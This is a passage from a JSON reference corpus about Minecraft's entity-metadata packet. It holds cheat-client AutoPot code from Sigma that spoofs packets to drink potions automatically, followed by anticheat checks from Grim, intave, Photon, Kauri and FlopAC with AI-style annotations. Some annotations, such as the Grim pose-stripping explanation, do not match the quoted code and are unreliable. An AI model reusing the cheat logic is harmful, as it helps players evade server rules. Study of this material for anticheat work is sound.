}\n    float[] getRotations(){    \t\n        double movedPosX = mc.thePlayer.posX + mc.thePlayer.motionX * 26.0D;\n        double movedPosY = mc.thePlayer.boundingBox.minY - 3.6D;\n        double movedPosZ = mc.thePlayer.posZ + mc.thePlayer.motionZ * 26.0D;\t\n        if((Boolean) settings.get(PREDICT).getValue())\n        \treturn RotationUtils.getRotationFromPosition(movedPosX, movedPosZ, movedPosY);\n        else\n        \treturn new float[]{mc.thePlayer.rotationYaw, 90};\n    }\n    int getBestSpoofSlot(){  \t\n    \tint spoofSlot = 5;\n    \tfor (int i = 36; i < 45; i++) {       \t\t\n    \t\tif (!mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n     \t\t\tspoofSlot = i - 36;\n     \t\t\tbreak;\n            }else if(mc.thePlayer.inventoryContainer.getSlot(i).getStack().getItem() instanceof ItemPotion) {\n            \tspoofSlot = i - 36;\n     \t\t\tbreak;\n            }\n        }\n    \treturn spoofSlot;\n    }\n    void getBestPot(int hotbarSlot, int potID){\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack() &&(mc.currentScreen == null || mc.currentScreen instanceof GuiInventory)) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(is.getItem() instanceof ItemPotion){\n              \t  ItemPotion pot = (ItemPotion)is.getItem();\n              \t  if(pot.getEffects(is).isEmpty())\n              \t\t  return;\n              \t  PotionEffect effect = (PotionEffect) pot.getEffects(is).get(0);              \t  \n                  int potionID = effect.getPotionID();\n                  if(potionID == potID)\n              \t  if(ItemPotion.isSplash(is.getItemDamage()) && isBestPot(pot, is)){\n              \t\t  if(36 + hotbarSlot != i)\n              \t\t\t  swap(i, hotbarSlot);\n              \t\t  timer.reset();\n              \t\t  boolean canpot = true;\n              \t\t  int oldSlot = mc.thePlayer.inventory.currentItem;\n              \t\t  mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(hotbarSlot));\n          \t\t\t  mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C05PacketPlayerLook(getRotations()[0], getRotations()[1], mc.thePlayer.onGround));\n          \t\t\t  mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));\n          \t\t\t  mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(oldSlot));\n          \t\t\t  potting = true;\n          \t\t\t  break;\n              \t  }               \t  \n                }              \n            }\n        }\n    }\n    \n    boolean isBestPot(ItemPotion potion, ItemStack stack){\n    \tif(potion.getEffects(stack) == null || potion.getEffects(stack).size() != 1)\n    \t\treturn false;\n        PotionEffect effect = (PotionEffect) potion.getEffects(stack).get(0);\n        int potionID = effect.getPotionID();\n        int amplifier = effect.getAmplifier(); \n        int duration = effect.getDuration();\n    \tfor (int i = 9; i < 45; i++) {    \t\t\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {           \t\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(is.getItem() instanceof ItemPotion){\n                \tItemPotion pot = (ItemPotion)is.getItem();\n                \t if (pot.getEffects(is) != null) {\n                         for (Object o : pot.getEffects(is)) {\n                             PotionEffect effects = (PotionEffect) o;\n                             int id = effects.getPotionID();\n                             int ampl = effects.getAmplifier(); \n                             int dur = effects.getDuration();\n                             if (id == potionID && ItemPotion.isSplash(is.getItemDamage())){\n                            \t if(ampl > amplifier){\n                            \t\t return false;\n                            \t }else if (ampl == amplifier && dur > duration){\n                            \t\t return false;\n                            \t }\n                             }                            \n                         }\n                     }\n                }\n            }\n        }\n    \treturn true;\n    }\n}\n\n// NOTE (AI): The S1CPacketEntityMetadata import is dead code: the module registers only EventUpdate and\n// NOTE (AI): decides when to pot from mc.thePlayer.isPotionActive and getHealth, not from the metadata\n// NOTE (AI): stream. The import is a development leftover from an earlier metadata-driven design.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/combat/AutoPot.java",
      "vanilla_hook": "EventUpdate only; the S1C import is unused.",
      "anti_cheat_notes": "Dead imports have no detection surface. The honest takeaway is that Sigma's potion logic trusts local entity state, which the server already keeps consistent via S1C.",
      "variations": "InventoryManager (info/sigmaclient/module/impl/player/InventoryManager.java, 498 lines) carries the same dead import and the same EventUpdate-only design; AutoArmor in the same client shares the pattern."
     }
    ],
    "general_hooks": "Rise 5.99 anticheat consumes S1C through PlayerData.handle; Rise 6.x components hook it via the packet event system for classification.",
    "client_variations": "Rise 5.99 reads the WatchableObjects list via func_149376_c and iterates raw objects; Rise 6.x never reads fields, only classifies the packet class. Sigma's modules import the class without using it, which the corpus confirms by the absence of any EventPacket registration for S1C.",
    "related": [
     "S0CPacketSpawnPlayer",
     "S14PacketEntity",
     "S12PacketEntityVelocity"
    ],
    "anticheat": {
     "overview": "The metadata packet is the server's mirror of entity state, and anticheats read it for two reasons: to keep the player's own simulation state honest (sneak, gliding, pose, sleeping) and to hide or rewrite health information so clients cannot exploit it. The corpus splits into self-metadata listeners (Grim PacketSelfMetadataListener, intave MetadataTracker), a health rewrite check (Kauri HealthSpoof, disabled), Photon's damage-hiding module, and wrapper layers (FlopAC). The sneak and health indexes are the only fields any check actually touches.",
     "checks": [
      {
       "name": "HealthSpoof (health metadata rewrite)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Rewrite the health metadata entry (index 6, float) to 1.0 for other entities so clients cannot read real health values; the shipped check is disabled and the handler is commented out.",
       "how_it_works": "The commented @Bind handler intercepts WrapperPlayServerEntityMetadata, skips the viewer's own entity, copies the metadata list, and replaces any float entry at index 6 with 1.0f, then sends the rewritten packet silently. With the block disabled the check registers nothing.",
       "detects": "Would prevent health-reading and health-based combat modules that rely on the client-visible metadata health; in the shipped source it is dead code.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/misc/HealthSpoof.java =====\npackage dev.brighten.ac.check.impl.misc;\n\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport dev.brighten.ac.api.check.CheckType;\nimport dev.brighten.ac.check.Check;\nimport dev.brighten.ac.check.CheckData;\nimport dev.brighten.ac.data.APlayer;\n\n@CheckData(name = \"HealthSpoof\", checkId = \"healthspoof\", type = CheckType.EXPLOIT)\npublic class HealthSpoof extends Check {\n\n    public HealthSpoof(APlayer player) {\n        super(player);\n    }\n\n    /*@Bind\n    WCancellable<WrapperPlayServerEntityMetadata> event = packet -> {\n        if(packet.getEntityId() == player.getBukkitPlayer().getEntityId()) return false;\n\n        List<EntityData<?>> newEntityMetadata = new ArrayList<>();\n\n        boolean overrwrite = false;\n        for (EntityData<?> data : packet.getEntityMetadata()) {\n            if(data.getType() == EntityDataTypes.FLOAT && data.getIndex() == 6) {\n                newEntityMetadata.add(new EntityData<>(6, EntityDataTypes.FLOAT, 1f));\n                overrwrite = true;\n            } else {\n                newEntityMetadata.add(data);\n            }\n        }\n\n        if(overrwrite) {\n            WrapperPlayServerEntityMetadata newPacket = new WrapperPlayServerEntityMetadata(packet.getEntityId(), newEntityMetadata);\n            player.sendPacketSilently(newPacket);\n            return true;\n        }\n        return false;\n    };*/\n}\n// NOTE (AI): This is a documented dead-code entry: the entire handler sits in a commented block, and the file ships as an empty Check subclass. The mechanism is described from the commented source, which is why the corpus matches the file.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/misc/HealthSpoof.java",
       "variations": "Photon's DamageIndicator implements the same idea live, rewriting health to 0.5 for entities other than the viewer, and additionally rewrites the generic.maxHealth attribute in S20. No other anticheat in the corpus rewrites metadata health."
      },
      {
       "name": "PacketSelfMetadataListener (self metadata into simulation)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Read metadata sent to the checked player and fold flags, pose, gravity, frozen and use-item state into the prediction simulation, timestamped by transaction.",
       "how_it_works": "On ENTITY_METADATA for the player's own entity id, the listener strips the pose entry on 1.14+ clients, reads the flags byte for gliding, swimming and sprinting bits, the gravity boolean, powder-snow frozen ticks, bed position and the use-item/riptide byte, and applies each via latencyUtils real-time tasks anchored to the last transaction. The strip of pose metadata keeps old clients from receiving state that would desync their movement model.",
       "detects": "Pose and state desync that would otherwise poison movement prediction; also protects the simulation from metadata the client version cannot represent.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketSelfMetadataListener.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.nmsutil.WatchableIndexUtil;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\n\nimport java.util.List;\nimport java.util.Optional;\n\npublic class PacketSelfMetadataListener extends PacketListenerAbstract {\n\n    public PacketSelfMetadataListener() {\n        super(PacketListenerPriority.HIGH);\n    }\n\n    @Override\n    public boolean isPreVia() {\n        return true;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            if (entityMetadata.getEntityId() != player.entityID) return;\n\n            List<EntityData<?>> metadata = entityMetadata.getEntityMetadata();\n\n            // If we send multiple transactions, we are very likely to split them\n            boolean hasSendTransaction = false;\n\n            // 1.14+ poses:\n            // - Client: I am sneaking\n            // - Client: I am no longer sneaking\n            // - Server: You are now sneaking\n            // - Client: Okay, I am now sneaking.\n            // - Server: You are no longer sneaking\n            // - Client: Okay, I am no longer sneaking\n            //\n            // 1.13- poses:\n            // - Client: I am sneaking\n            // - Client: I am no longer sneaking\n            // - Server: Okay, got it.\n            //\n            // Why mojang, why.  Why are you so incompetent at netcode.\n            //\n            // Also, mojang.  This system makes movement ping dependent!\n            // A player using or exiting an elytra, or using or exiting sneaking will have differnet movement\n            // to a player because of sending poses!  ViaVersion works fine without sending these poses\n            // to the player on old servers... because the player just overrides this pose the very next tick\n            //\n            // It makes no sense to me why mojang is doing this, it has to be a bug.\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                // Remove the pose metadata from the list\n                metadata.removeIf(element -> element.getIndex() == 6);\n                entityMetadata.setEntityMetadata(metadata);\n                event.markForReEncode(true);\n            }\n\n            EntityData<?> watchable = WatchableIndexUtil.getIndex(metadata, 0);\n\n            if (watchable != null && watchable.getValue() instanceof Byte) {\n                byte field = (byte) watchable.getValue();\n                boolean isGliding = (field & 0x80) == 0x80 && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9);\n                boolean isSwimming = (field & 0x10) == 0x10;\n                boolean isSprinting = (field & 0x8) == 0x8;\n\n                if (!hasSendTransaction) player.sendTransaction();\n                hasSendTransaction = true;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    player.isSwimming = isSwimming;\n                    player.lastSprinting = isSprinting;\n                    if (!isSprinting) {\n                        player.vehicleData.camelSprintingState = SprintingState.STOPPING;\n                    }\n                    // Protect this due to players being able to get the server to spam this packet a lot\n                    if (player.isGliding != isGliding) {\n                        player.pointThreeEstimator.updatePlayerGliding();\n                    }\n                    player.isGliding = isGliding;\n                });\n            }\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_10)) {\n                EntityData<?> gravity = WatchableIndexUtil.getIndex(metadata, 5);\n\n                if (gravity != null) {\n                    Object gravityObject = gravity.getValue();\n\n                    if (gravityObject instanceof Boolean) {\n                        if (!hasSendTransaction) player.sendTransaction();\n                        hasSendTransaction = true;\n\n                        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                            // Vanilla uses hasNoGravity, which is a bad name IMO\n                            // hasGravity > hasNoGravity\n                            player.playerEntityHasGravity = !((Boolean) gravityObject);\n                        });\n                    }\n                }\n            }\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_17)) {\n                EntityData<?> frozen = WatchableIndexUtil.getIndex(metadata, 7);\n\n                if (frozen != null) {\n                    if (!hasSendTransaction) player.sendTransaction();\n                    hasSendTransaction = true;\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                            () -> player.powderSnowFrozenTicks = (int) frozen.getValue());\n                }\n            }\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                int id;\n\n                if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_14_4)) {\n                    id = 12; // Added in 1.14 with an initial ID of 12\n                } else if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_16_4)) {\n                    id = 13; // 1.15 changed this to 13\n                } else {\n                    id = 14; // 1.17 changed this to 14\n                }\n\n                EntityData<?> bedObject = WatchableIndexUtil.getIndex(metadata, id);\n                if (bedObject != null && bedObject.getValue() instanceof Optional<?> optional) {\n                    if (!hasSendTransaction) player.sendTransaction();\n                    hasSendTransaction = true;\n\n                    if (optional.isPresent()) {\n                        if (optional.get() instanceof Vector3i bedPos) {\n                            player.addRealTimeTaskNow(() -> {\n                                player.isInBed = true;\n                                player.bedPosition = new Vector3d(bedPos.getX() + 0.5, bedPos.getY(), bedPos.getZ() + 0.5);\n                            });\n                        }\n                    } else {\n                        // Run when we know the player is not in bed 100%\n                        player.addRealTimeTaskNow(() -> player.isInBed = false);\n                    }\n                }\n            }\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)) {\n                int id;\n\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_17)) {\n                    id = 8;\n                } else if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    id = 7;\n                } else if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_10)) {\n                    id = 6;\n                } else {\n                    id = 5;\n                }\n\n                EntityData<?> entityData = WatchableIndexUtil.getIndex(metadata, id);\n\n                // only present if it changed\n                if (entityData != null && entityData.getValue() instanceof Byte) {\n                    if (!hasSendTransaction) player.sendTransaction();\n                    hasSendTransaction = true;\n\n                    byte data = (Byte) entityData.getValue();\n\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_13)) {\n                        boolean isRiptiding = (data & 4) == 4;\n\n                        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                                () -> player.isRiptidePose = isRiptiding);\n                    }\n\n                    // 1.9 eating:\n                    // - Client: I am starting to eat\n                    // - Client: I am no longer eating\n                    // - Server: Got that, you are eating!\n                    // - Client: Okay, starting to eat (no response packet because server caused this)\n                    // - Server: I got that you aren't eating, you are not eating!\n                    // - Client: Okay, I am no longer eating (no response packet because server caused this)\n                    //\n                    // 1.8 eating:\n                    // - Client: I am starting to eat\n                    // - Client: I am no longer eating\n                    // - Server: Okay, I will not make you eat or stop eating because it makes sense that the server doesn't control a player's eating.\n                    //\n                    // This was added for stuff like shields, but IMO it really should be all client sided\n                    boolean isActive = (data & 1) > 0;\n                    boolean isOffhand = (data & 2) > 0;\n\n                    // Player might have gotten this packet\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                            () -> player.packetStateData.setSlowedByUsingItem(false));\n\n                    int markedTransaction = player.lastTransactionSent.get();\n\n                    // Player has gotten this packet\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> {\n                        // If the player hasn't overridden this packet by using or stopping using an item\n                        // Vanilla update order: Receive this -> process new interacts\n                        // Grim update order: Process new interacts -> receive this\n                        if (player.packetStateData.slowedByUsingItemTransaction < markedTransaction) {\n                            player.packetStateData.setSlowedByUsingItem(isActive);\n\n                            if (isActive) {\n                                player.packetStateData.itemInUseHand = isOffhand ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                            }\n                        }\n                    });\n\n                    // Yes, we do have to use a transaction for eating as otherwise it can desync much easier\n                    event.getTasksAfterSend().add(player::sendTransaction);\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): The 1.14+ pose stripping is a protocol-compat hack: the pose index collides with older health semantics, so Grim removes it rather than risk desyncing the client's movement.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketSelfMetadataListener.java",
       "variations": "intave's MetadataTracker covers the same ground for bed position, gliding and pose with a packet-tick feedback wrapper; Grim's EntityMetadataPoseUtil resolves the pose metadata index per entity type."
      },
      {
       "name": "MetadataTracker (sleep, gliding, pose state)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Extract sleeping bed position, gliding flag and pose from the self entity's metadata so the movement simulation knows the player's physical state.",
       "how_it_works": "The tracker subscribes to the ENTITY_METADATA packet, reads the bed position entry, the gliding bit of the flags byte and the pose entry (1.14+), and applies them through user.packetTickFeedback. A bed position re-anchors the player's position to the bed coordinates, which is the only legitimate teleport-free position reset in the protocol.",
       "detects": "Simulation divergence caused by stale sleep, gliding or pose state; the extracted state feeds the physics search that flags movement impossibilities.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/MetadataTracker.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.EnumWrappers.EntityPose;\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport de.jpx3.intave.annotate.Nullable;\nimport de.jpx3.intave.check.movement.physics.environment.Pose;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.EntityMetadataReader;\nimport de.jpx3.intave.share.BlockPosition;\nimport de.jpx3.intave.share.Position;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.MovementMetadata;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.ENTITY_METADATA;\n\npublic final class MetadataTracker extends Module {\n\n\t@PacketSubscription(\n\t\tpacketsOut = {\n\t\t\tENTITY_METADATA\n\t\t}\n\t)\n\tpublic void trackMetadata(\n\t\tUser user, EntityMetadataReader reader,\n\t\tPacketEvent event\n\t) {\n\t\tif (!reader.targetEntityIdIsSameAs(user)) {\n\t\t\treturn;\n\t\t}\n\t\t@Nullable BlockPosition sleepingBedPosition = sleepingBedPosition(reader);\n\t\t@Nullable Boolean newGliding = newGlidingStatus(user, reader);\n\t\t@Nullable Pose newPose = newPoseStatus(user, reader);\n\n\t\tuser.packetTickFeedback(event, () -> {\n\t\t\tMovementMetadata movement = user.meta().movement();\n\t\t\tmovement.sleepingBedPosition = sleepingBedPosition;\n\t\t\tif (sleepingBedPosition != null) {\n\t\t\t\tPosition newPosition = positionFromBedPosition(sleepingBedPosition);\n\t\t\t\tmovement.setPosition(newPosition);\n\t\t\t\tmovement.setVerifiedLastPosition(newPosition, \"Bed sleep\");\n\t\t\t}\n\t\t\tif (newGliding != null) {\n\t\t\t\tmovement.gliding = newGliding;\n\t\t\t}\n\t\t\tif (newPose != null) {\n\t\t\t\tmovement.setPose(newPose);\n\t\t\t}\n\t\t});\n\t}\n\n\tprivate @Nullable BlockPosition sleepingBedPosition(EntityMetadataReader reader) {\n\t\treturn reader.bedPosition().orElse(null);\n\t}\n\n\tprivate Position positionFromBedPosition(BlockPosition bedPosition) {\n\t\treturn new Position(\n\t\t\tbedPosition.x() + 0.5,\n\t\t\tbedPosition.y() + 0.6875,\n\t\t\tbedPosition.z() + 0.5\n\t\t);\n\t}\n\n\tprivate Boolean newGlidingStatus(User user, EntityMetadataReader reader) {\n\t\tif (!user.meta().protocol().canUseElytra()) {\n\t\t\treturn false;\n\t\t}\n\t\tObject elytraObject = reader.fetchRaw(0);\n\t\tif (elytraObject == null) {\n\t\t\treturn null;\n\t\t}\n\t\tbyte data = (byte) elytraObject;\n\t\treturn (data & 1 << 7) != 0;\n\t}\n\n\tprivate @Nullable Pose newPoseStatus(User user, EntityMetadataReader reader) {\n\t\tif (!MinecraftVersions.VER1_14_0.atOrAbove() || !user.meta().protocol().applyModernCollider()\n\t\t) {\n\t\t\treturn null;\n\t\t}\n\t\tObject rawPose = reader.fetchRaw(6);\n\t\tif (rawPose == null) {\n\t\t\treturn null;\n\t\t}\n\t\ttry {\n\t\t\tEntityPose entityPose = rawPose instanceof EntityPose\n\t\t\t\t? (EntityPose) rawPose\n\t\t\t\t: EntityPose.fromNms(rawPose);\n\t\t\tswitch (entityPose) {\n\t\t\t\tcase STANDING:\n\t\t\t\t\treturn Pose.STANDING;\n\t\t\t\tcase FALL_FLYING:\n\t\t\t\t\treturn Pose.FALL_FLYING;\n\t\t\t\tcase SLEEPING:\n\t\t\t\t\treturn Pose.SLEEPING;\n\t\t\t\tcase SWIMMING:\n\t\t\t\t\treturn Pose.SWIMMING;\n\t\t\t\tcase CROUCHING:\n\t\t\t\t\treturn Pose.CROUCHING;\n\t\t\t\tdefault:\n\t\t\t\t\treturn null;\n\t\t\t}\n\t\t} catch (RuntimeException ignored) {\n\t\t\treturn null;\n\t\t}\n\t}\n}\n// NOTE (AI): The gliding bit (1 << 7) matches the vanilla flags byte used by elytra, and the bed position path is gated on the packet tick feedback so it cannot be replayed out of order.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/MetadataTracker.java",
       "variations": "Grim's PacketSelfMetadataListener applies the same fields with transaction-anchored tasks. The EntityMetadataReader class in the corpus is the reader this tracker drives."
      },
      {
       "name": "DamageIndicator (health metadata hiding)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Spoof the health metadata of entities other than the viewer so clients cannot learn real health from the metadata stream.",
       "how_it_works": "The module subscribes to ENTITY_METADATA and UPDATE_ATTRIBUTES. On metadata it rewrites any float entry at the version-specific health index to 0.5, skipping the viewer's own entity and dead entities; on attributes it rewrites generic.maxHealth to 1.0 and clears its modifiers. Entity types are filtered by config (players versus others), with ender dragon and wither exempt.",
       "detects": "Prevents health-reading combat aids and health-based decision making in killaura modules.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/DamageIndicator.java =====\npackage de.photon.anticheataddition.modules.additions;\n\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityDataTypes;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport de.photon.anticheataddition.ServerVersion;\nimport de.photon.anticheataddition.modules.Module;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.util.protocol.LivingEntityIdLookup;\nimport de.photon.anticheataddition.util.protocol.PacketAdapterBuilder;\nimport org.bukkit.entity.Player;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic final class DamageIndicator extends Module {\n    public static final DamageIndicator INSTANCE = new DamageIndicator();\n\n    private static final float SPOOFED_HEALTH = 0.5F;\n    private static final double SPOOFED_MAX_HEALTH = 1.0D;\n\n    private final boolean spoofOthers = loadBoolean(\".entities.others\", true);\n    private final boolean spoofPlayers = loadBoolean(\".entities.players\", true);\n\n    private final boolean spoofHealth = loadBoolean(\".spoof.health\", true);\n    private final boolean spoofMaxHealth = loadBoolean(\".spoof.max_health\", true);\n\n    private DamageIndicator()\n    {\n        super(\"DamageIndicator\");\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        return ModuleLoader.of(this, PacketAdapterBuilder\n                .of(this, PacketType.Play.Server.ENTITY_METADATA, PacketType.Play.Server.UPDATE_ATTRIBUTES)\n                .priority(PacketListenerPriority.HIGH)\n                // Use the onSending rather than onSendingRaw to allow for bypassing.\n                .onSending((event, user) -> {\n                    if (this.spoofHealth && event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) rewriteHealthMetadata(event);\n                    else if (this.spoofMaxHealth && event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) rewriteMaxHealthAttribute(event);\n                }).build());\n    }\n\n    private void rewriteHealthMetadata(PacketSendEvent event)\n    {\n        final WrapperPlayServerEntityMetadata wrapper = new WrapperPlayServerEntityMetadata(event);\n        final Player viewer = event.getPlayer();\n        final int entityId = wrapper.getEntityId();\n\n        // The player should always be able to see their own data.\n        if (viewer.getEntityId() == entityId) return;\n\n        final EntityType entityType = LivingEntityIdLookup.INSTANCE.getEntityType(entityId);\n        if (!shouldSpoof(entityType)) return;\n\n        final int healthIndex = ServerVersion.ACTIVE.getMetadataPositionIndex().healthIndex();\n\n        // Use raw EntityData here to ensure we can use setValue().\n        for (EntityData data : wrapper.getEntityMetadata()) {\n            if (data.getIndex() != healthIndex || data.getType() != EntityDataTypes.FLOAT) continue;\n\n            final float health = (Float) data.getValue();\n            if (health <= 0.0F) return;\n\n            data.setValue(SPOOFED_HEALTH);\n        }\n    }\n\n    private void rewriteMaxHealthAttribute(PacketSendEvent event)\n    {\n        final WrapperPlayServerUpdateAttributes wrapper = new WrapperPlayServerUpdateAttributes(event);\n        final Player viewer = event.getPlayer();\n        final int entityId = wrapper.getEntityId();\n\n        if (viewer.getEntityId() == entityId) return;\n\n        final EntityType entityType = LivingEntityIdLookup.INSTANCE.getEntityType(entityId);\n        if (!shouldSpoof(entityType)) return;\n\n        for (WrapperPlayServerUpdateAttributes.Property property : wrapper.getProperties()) {\n            if (property.getAttribute() == Attributes.MAX_HEALTH) {\n                property.setValue(SPOOFED_MAX_HEALTH);\n                property.setModifiers(new ArrayList<>());\n                return;\n            }\n        }\n    }\n\n    private boolean shouldSpoof(EntityType entityType)\n    {\n        if (entityType == null) return false;\n\n        // Bossbar / boss-health edge cases\n        if (entityType == EntityTypes.ENDER_DRAGON || entityType == EntityTypes.WITHER) return false;\n\n        return entityType == EntityTypes.PLAYER ? spoofPlayers : spoofOthers;\n    }\n}\n// NOTE (AI): The rewrite only touches the index reported by MetadataPositionIndex for the active server version, so the check stays correct across protocol versions.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/DamageIndicator.java",
       "variations": "Kauri's HealthSpoof is the same idea but disabled; the S20 half of this module (max-health rewrite) is noted under S20PacketEntityProperties."
      },
      {
       "name": "WrappedOutEntityMetadata (metadata wrapper)",
       "found_in": [
        "JTXOfficial-FlopAC"
       ],
       "purpose": "Tinyprotocol wrapper exposing the entity id and watchable-object list of the S1C packet to FlopAC's packet layer.",
       "how_it_works": "The wrapper resolves the watchableObjects and entityid fields via reflection, copies the watchable list, and can rebuild the packet from an entity id and object list via setPacket. FlopAC's processors consume entity state through wrappers like this one.",
       "detects": "Nothing directly; infrastructure.",
       "detailed_code": "// ===== FILE: JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/tinyprotocol/packet/out/WrappedOutEntityMetadata.java =====\npackage me.jtx.flopac.tinyprotocol.packet.out;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport me.jtx.flopac.tinyprotocol.api.NMSObject;\nimport me.jtx.flopac.tinyprotocol.api.Packet;\nimport me.jtx.flopac.tinyprotocol.api.ProtocolVersion;\nimport me.jtx.flopac.tinyprotocol.reflection.FieldAccessor;\nimport org.bukkit.entity.Player;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Getter\n@Setter\npublic class WrappedOutEntityMetadata extends NMSObject {\n    private static final String packet = Packet.Server.ENTITY_METADATA;\n\n    private static FieldAccessor<Integer> entityidField;\n    private static FieldAccessor<List> watchableObjectsField;\n\n    private List<Object> watchableObjects;\n    private int entityId;\n\n    public WrappedOutEntityMetadata(Object object, Player player) {\n        super(object, player);\n    }\n\n    @Override\n    public void updateObject() {\n\n    }\n\n    public WrappedOutEntityMetadata(int entityId, List<Object> objects) {\n        setPacket(packet, entityId, objects);\n    }\n\n    @Override\n    public void process(Player player, ProtocolVersion version) {\n        watchableObjectsField = fetchField(packet, List.class, 0);\n        entityidField = fetchField(packet, int.class, 0);\n\n        watchableObjects = new ArrayList<>();\n        entityId = fetch(entityidField);\n\n        List list = fetch(watchableObjectsField);\n\n        if(list != null) {\n            list.forEach(object -> watchableObjects.add(object));\n        }\n    }\n}\n// NOTE (AI): Only the wrapper is present in the corpus for FlopAC; no FlopAC check consumes the watchable objects, so the packet surface for this anticheat is structural.",
